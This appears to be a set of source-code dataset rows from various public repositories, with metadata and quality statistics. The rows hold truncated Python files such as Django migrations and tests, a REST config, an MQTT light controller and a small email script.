] | 6 | 2020-09-18T07:08:30.000Z | 2020-09-29T18:08:49.000Z | sleuthpr/migrations/0017_auto_20201026_2137.py | sleuth-io/sleuth-pr | aecbd8ff993cf77635bbd50dc2a4d7994642f674 | [
"Apache-2.0"
] | null | null | null | sleuthpr/migrations/0017_auto_20201026_2137.py | sleuth-io/sleuth-pr | aecbd8ff993cf77635bbd50dc2a4d7994642f674 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.1.1 on 2020-10-26 21:37
from django.db import migrations
from django.db import models
class Migration(migrations.Migration):
dependencies = [
("sleuthpr", "0016_auto_20201010_0654"),
]
operations = [
migrations.AlterField(
model_name="pullrequestreview... | 28.03125 | 63 | 0.478261 | 69 | 897 | 6.101449 | 0.681159 | 0.047506 | 0.057007 | 0.085511 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061567 | 0.402453 | 897 | 31 | 64 | 28.935484 | 0.723881 | 0.050167 | 0 | 0.076923 | 1 | 0 | 0.217647 | 0.027059 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.192308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
784257835749375cdcd9d1e91123e84259649a28 | 1,413 | py | Python | aqopa/module/energyanalysis/console.py | lukaszkurantdev/AQoPA | 997d8a16a07050781d5d4df0e18c0a4337eb815c | [
"BSD-3-Clause"
] | 2 | 2016-06-10T19:58:02.000Z | 2020-04-08T17:32:05.000Z | aqopa/module/energyanalysis/console.py | lukaszkurantdev/AQoPA | 997d8a16a07050781d5d4df0e18c0a4337eb815c | [
"BSD-3-Clause"
] | null | null | null | aqopa/module/energyanalysis/console.py | lukaszkurantdev/AQoPA | 997d8a16a07050781d5d4df0e18c0a4337eb815c | [
"BSD-3-Clause"
] | 2 | 2015-05-07T08:02:07.000Z | 2021-02-14T10:55:09.000Z | '''
Created on 05-12-2013
@author: Damian Rusinek <damian.rusinek@gmail.com>
'''
import sys
from aqopa.simulator.state import Hook
class PrintResultsHook(Hook):
def __init__(self, module, simulator, output_file=sys.stdout):
""" """
self.module = module
self.simulator = simulator
... | 32.860465 | 101 | 0.576787 | 166 | 1,413 | 4.771084 | 0.373494 | 0.151515 | 0.176768 | 0.215909 | 0.174242 | 0.147727 | 0.147727 | 0.147727 | 0.147727 | 0 | 0 | 0.014896 | 0.287332 | 1,413 | 42 | 102 | 33.642857 | 0.771599 | 0.051663 | 0 | 0.142857 | 0 | 0 | 0.092564 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78436b6e4fe60a52ed5116325894a3cf3d3ac799 | 2,157 | py | Python | app/main.py | Trupal00p/polymer-template | d16ea08557792c3681dce5cd69bfe321237a0b18 | [
"BSD-3-Clause"
] | null | null | null | app/main.py | Trupal00p/polymer-template | d16ea08557792c3681dce5cd69bfe321237a0b18 | [
"BSD-3-Clause"
] | null | null | null | app/main.py | Trupal00p/polymer-template | d16ea08557792c3681dce5cd69bfe321237a0b18 | [
"BSD-3-Clause"
] | null | null | null | from rest_gae import RESTHandler, PERMISSION_ANYONE, PERMISSION_LOGGED_IN_USER, PERMISSION_OWNER_USER, PERMISSION_ADMIN
from rest_gae.users import UserRESTHandler
import webapp2
import data
config = {
'webapp2_extras.auth': {
'user_model': 'data.User',
'user_attributes': [
'email',
... | 35.95 | 119 | 0.618915 | 240 | 2,157 | 5.3375 | 0.4125 | 0.058548 | 0.074161 | 0.034348 | 0.17018 | 0.137393 | 0.137393 | 0.137393 | 0.082748 | 0.082748 | 0 | 0.0076 | 0.267965 | 2,157 | 59 | 120 | 36.559322 | 0.803673 | 0.142791 | 0 | 0.04 | 0 | 0 | 0.330255 | 0.047257 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.06 | 0.08 | 0 | 0.08 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
785194df37290795c158353f94dc520dfadc1990 | 2,472 | py | Python | customer/test/test_models.py | Dokeey/Buy-Sell | 9d70eb8649d79962657cc4be896e437908de537b | [
"MIT"
] | 7 | 2019-03-25T14:43:41.000Z | 2021-09-16T01:44:41.000Z | customer/test/test_models.py | Dokeey/Buy-Sell | 9d70eb8649d79962657cc4be896e437908de537b | [
"MIT"
] | 80 | 2019-03-25T09:25:00.000Z | 2020-02-09T01:01:09.000Z | customer/test/test_models.py | Dokeey/Buy-Sell | 9d70eb8649d79962657cc4be896e437908de537b | [
"MIT"
] | 4 | 2019-03-25T13:58:07.000Z | 2021-11-26T09:12:32.000Z | from django.test import TestCase
from customer.models import CustomerCategory, CustomerAsk, CustomerFAQ, CustomerNotice
from django.contrib.auth import get_user_model
class CustomerCategoryTest(TestCase):
@classmethod
def setUpTestData(cls):
cate = CustomerCategory.objects.create(name='testcustomercate... | 39.870968 | 109 | 0.720065 | 301 | 2,472 | 5.664452 | 0.202658 | 0.126686 | 0.076246 | 0.045748 | 0.523754 | 0.383578 | 0.255718 | 0.214663 | 0.166569 | 0.166569 | 0 | 0.008333 | 0.174757 | 2,472 | 62 | 110 | 39.870968 | 0.827451 | 0.019013 | 0 | 0.276596 | 0 | 0 | 0.062784 | 0 | 0 | 0 | 0 | 0 | 0.12766 | 1 | 0.212766 | false | 0 | 0.06383 | 0 | 0.361702 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
786a46d5937da29c9d4c531e93ddf220b065624e | 708 | py | Python | tests/utils/transfer.py | thalesmello/sdk-python | fe897883b5c91948e812cfaa6ac176edcf0f9290 | [
"MIT"
] | null | null | null | tests/utils/transfer.py | thalesmello/sdk-python | fe897883b5c91948e812cfaa6ac176edcf0f9290 | [
"MIT"
] | null | null | null | tests/utils/transfer.py | thalesmello/sdk-python | fe897883b5c91948e812cfaa6ac176edcf0f9290 | [
"MIT"
] | null | null | null | from copy import deepcopy
from random import randint
from starkbank import Transfer
from .names.names import get_full_name
from .taxIdGenerator import generateCpf, generateCnpj
example_transfer = Transfer(
amount=10,
name="João",
tax_id="01234567890",
bank_code="01",
branch_code="0001",
accoun... | 25.285714 | 76 | 0.694915 | 84 | 708 | 5.714286 | 0.511905 | 0.029167 | 0.045833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055755 | 0.214689 | 708 | 27 | 77 | 26.222222 | 0.807554 | 0 | 0 | 0 | 1 | 0 | 0.039548 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0.217391 | 0 | 0.304348 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
786f1a01b8f7b9f27be774c7e3c91494179a8da2 | 5,166 | py | Python | benchpy/magic.py | atanna/bm | 8c8ece3221c28dbf04c1af77532e5127adfa3399 | [
"MIT"
] | null | null | null | benchpy/magic.py | atanna/bm | 8c8ece3221c28dbf04c1af77532e5127adfa3399 | [
"MIT"
] | null | null | null | benchpy/magic.py | atanna/bm | 8c8ece3221c28dbf04c1af77532e5127adfa3399 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from functools import partial
from matplotlib import pyplot as plt
def magic_benchpy(line='', cell=None):
"""
Run benchpy.run
%benchpy [[-i] [-g] [-n <N>] [-m <M>] [-p] [-r <R>] [-t <T>] -s<S>] statement
where statement is Bench or Grou... | 38.842105 | 124 | 0.436121 | 550 | 5,166 | 3.985455 | 0.383636 | 0.004562 | 0.014599 | 0.025547 | 0.086679 | 0.070255 | 0.070255 | 0.070255 | 0.056113 | 0.040146 | 0 | 0.077745 | 0.220674 | 5,166 | 132 | 125 | 39.136364 | 0.466716 | 0.683895 | 0 | 0 | 0 | 0 | 0.034483 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.166667 | 0 | 0.222222 | 0.055556 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
787846d1c1f892c9bd6b3465e94b0aaab523bb9a | 5,856 | py | Python | tests/test_app.py | tomascorrea/cornice.ext.apispec | 6da230a9a96782c7599401c45adc4e04b7251098 | [
"Apache-2.0"
] | null | null | null | tests/test_app.py | tomascorrea/cornice.ext.apispec | 6da230a9a96782c7599401c45adc4e04b7251098 | [
"Apache-2.0"
] | null | null | null | tests/test_app.py | tomascorrea/cornice.ext.apispec | 6da230a9a96782c7599401c45adc4e04b7251098 | [
"Apache-2.0"
] | null | null | null | import unittest
import webtest
from pyramid import testing
from cornice import Service
from cornice.service import clear_services
from cornice.validators import colander_validator
from flex.core import validate
from .support import GetRequestSchema, PutRequestSchema, response_schemas
from cornice_apispec import Corni... | 32 | 82 | 0.634221 | 617 | 5,856 | 5.867099 | 0.165316 | 0.085635 | 0.046961 | 0.066298 | 0.706906 | 0.687293 | 0.630111 | 0.630111 | 0.630111 | 0.630111 | 0 | 0.003407 | 0.248122 | 5,856 | 182 | 83 | 32.175824 | 0.81876 | 0.012124 | 0 | 0.632353 | 0 | 0 | 0.111478 | 0.009898 | 0 | 0 | 0 | 0 | 0.022059 | 1 | 0.176471 | false | 0 | 0.066176 | 0 | 0.323529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
787879f9da73a692474a4eb54d67e794eba4963b | 891 | py | Python | myemailc.py | ShivSoni5/Vision- | 63876bba02bc48c8276017bb70bbead938204253 | [
"Unlicense"
] | null | null | null | myemailc.py | ShivSoni5/Vision- | 63876bba02bc48c8276017bb70bbead938204253 | [
"Unlicense"
] | null | null | null | myemailc.py | ShivSoni5/Vision- | 63876bba02bc48c8276017bb70bbead938204253 | [
"Unlicense"
] | null | null | null | #!/usr/bin/python3
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def mail_send(query):
users = {'shiv':'shivsonic05@gmail.com','pranjal':'pranjal.alwar@gmail.com','subham':'subham.k.rai@gmail.com','anand':'anandrkskd@gmail.com','Gaurav':'gauravj9414@gmail.com'... | 24.75 | 178 | 0.682379 | 115 | 891 | 5.095652 | 0.452174 | 0.081911 | 0.044369 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013351 | 0.159371 | 891 | 35 | 179 | 25.457143 | 0.769025 | 0.01908 | 0 | 0 | 0 | 0 | 0.248853 | 0.099771 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0.086957 | 0.130435 | 0 | 0.173913 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
787eef2392ed325587b213323319577c4a1b136b | 3,052 | py | Python | gallery/migrations/0001_initial.py | sepehrsohrabii/BookStore | fe94cbe7f7b4fae42fb42dad43f9cb44c2d16295 | [
"MIT"
] | null | null | null | gallery/migrations/0001_initial.py | sepehrsohrabii/BookStore | fe94cbe7f7b4fae42fb42dad43f9cb44c2d16295 | [
"MIT"
] | null | null | null | gallery/migrations/0001_initial.py | sepehrsohrabii/BookStore | fe94cbe7f7b4fae42fb42dad43f9cb44c2d16295 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.7 on 2021-02-05 16:10
from django.conf import settings
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AU... | 44.231884 | 161 | 0.59076 | 304 | 3,052 | 5.782895 | 0.3125 | 0.027304 | 0.039818 | 0.062571 | 0.530148 | 0.468714 | 0.394767 | 0.394767 | 0.348123 | 0.348123 | 0 | 0.014772 | 0.268021 | 3,052 | 68 | 162 | 44.882353 | 0.772158 | 0.014744 | 0 | 0.442623 | 1 | 0 | 0.085857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.065574 | 0 | 0.131148 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
78844e134527b67460a070dbca1511d29c7df7db | 434 | py | Python | Quisk/n2adr/conf5.py | jmharvey1/SdrCwXcvr | 5bf3f3d28e2d115e0b3eaf7cda68495add527c78 | [
"MIT"
] | 18 | 2019-03-12T18:09:11.000Z | 2021-09-19T00:32:20.000Z | Quisk/n2adr/conf5.py | jmharvey1/SdrCwXcvr | 5bf3f3d28e2d115e0b3eaf7cda68495add527c78 | [
"MIT"
] | 1 | 2019-03-14T06:11:10.000Z | 2020-01-10T10:54:13.000Z | Quisk/n2adr/conf5.py | jmharvey1/SdrCwXcvr | 5bf3f3d28e2d115e0b3eaf7cda68495add527c78 | [
"MIT"
] | 2 | 2019-06-04T10:57:11.000Z | 2021-09-19T00:32:25.000Z | import sys
settings_file_path = "../quisk_settings.json"
#hamlib_port = 4575 # Standard port for Quisk control. Set the port in Hamlib to 4575 too.
hamlib_port = 4532 # Default port for rig 2. Use this if you can not set the Hamlib port.
if sys.platform == "win32":
pass
elif 0:
digital_input_name = 'pulse'
... | 27.125 | 92 | 0.737327 | 69 | 434 | 4.42029 | 0.594203 | 0.098361 | 0.157377 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047753 | 0.179724 | 434 | 15 | 93 | 28.933333 | 0.808989 | 0.368664 | 0 | 0 | 0 | 0 | 0.166667 | 0.081481 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.090909 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
7887193250695a4e8397df8dcdf4d521b97f5588 | 1,357 | py | Python | Files/Python/puntajes_03/puntajes_csv.py | Souto751/isft151-base-de-datos | 639e2d2f32e5d1cdb8308d1e67e37967a45759a5 | [
"MIT"
] | null | null | null | Files/Python/puntajes_03/puntajes_csv.py | Souto751/isft151-base-de-datos | 639e2d2f32e5d1cdb8308d1e67e37967a45759a5 | [
"MIT"
] | null | null | null | Files/Python/puntajes_03/puntajes_csv.py | Souto751/isft151-base-de-datos | 639e2d2f32e5d1cdb8308d1e67e37967a45759a5 | [
"MIT"
] | null | null | null | # Código 11.7: puntajes_csv.py: Módulo para guardar y recuperar puntajes en un archivo que usa csv
#! /usr/bin/env python
# encoding: latin1
import csv
def guardar_puntajes(nombre_archivo, puntajes):
""" Guarda la lista de puntajes en el archivo.
Pre: nombre_archivo corresponde a un archivo válido,
... | 35.710526 | 105 | 0.705232 | 182 | 1,357 | 5.192308 | 0.467033 | 0.068783 | 0.038095 | 0.050794 | 0.063492 | 0.063492 | 0 | 0 | 0 | 0 | 0 | 0.011225 | 0.212233 | 1,357 | 38 | 105 | 35.710526 | 0.872778 | 0 | 0 | 0.133333 | 0 | 0 | 0.003273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.066667 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
788ae86acbd95232a8e3876b7b9b752564c63e10 | 403 | py | Python | app/main.py | nox-noctua-consulting/peon-ui | 0f3128c76c76505c2ba8f4e1ddd68087bacf91a8 | [
"MIT"
] | 1 | 2022-03-23T17:48:39.000Z | 2022-03-23T17:48:39.000Z | app/main.py | nox-noctua-consulting/peon-ui | 0f3128c76c76505c2ba8f4e1ddd68087bacf91a8 | [
"MIT"
] | null | null | null | app/main.py | nox-noctua-consulting/peon-ui | 0f3128c76c76505c2ba8f4e1ddd68087bacf91a8 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
# IMPORTS
import logging
from modules import devMode
from website import create_app
# VARIABLES
app = create_app()
# MAIN
if __name__ == '__main__':
logging.basicConfig(filename='/var/log/peon/webui.log', filemode='a', format='%(asctime)s %(thread)d [%(levelname)s] - %(message)s', level=logging... | 28.785714 | 156 | 0.704715 | 59 | 403 | 4.644068 | 0.677966 | 0.021898 | 0.021898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019718 | 0.119107 | 403 | 14 | 157 | 28.785714 | 0.752113 | 0.099256 | 0 | 0 | 0 | 0 | 0.252778 | 0.063889 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
788bc76ab55a68a6f15f56740f4f4a6c71a84db8 | 2,077 | py | Python | dvdp/ha_433/__main__.py | davidvdp/ha_433 | fd1548fe1fd85249ab3c6a906f71c1190caa7589 | [
"MIT"
] | 1 | 2020-06-14T20:29:22.000Z | 2020-06-14T20:29:22.000Z | dvdp/ha_433/__main__.py | davidvdp/ha_433 | fd1548fe1fd85249ab3c6a906f71c1190caa7589 | [
"MIT"
] | null | null | null | dvdp/ha_433/__main__.py | davidvdp/ha_433 | fd1548fe1fd85249ab3c6a906f71c1190caa7589 | [
"MIT"
] | null | null | null | import argparse
import asyncio
import logging
from pathlib import Path
from dvdp.ha_433 import HA433Light
from dvdp.recorder_433 import RECORDINGS_DIR, get_recordings
from dvdp.ha_mqtt.client import MQTTClient
def main():
logging.basicConfig(
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',... | 23.873563 | 72 | 0.602311 | 231 | 2,077 | 5.251082 | 0.38961 | 0.044518 | 0.084089 | 0.052762 | 0.135202 | 0.115416 | 0.090684 | 0.090684 | 0.090684 | 0.090684 | 0 | 0.013624 | 0.293211 | 2,077 | 86 | 73 | 24.151163 | 0.81267 | 0 | 0 | 0.128205 | 0 | 0 | 0.183919 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012821 | false | 0.051282 | 0.089744 | 0 | 0.102564 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.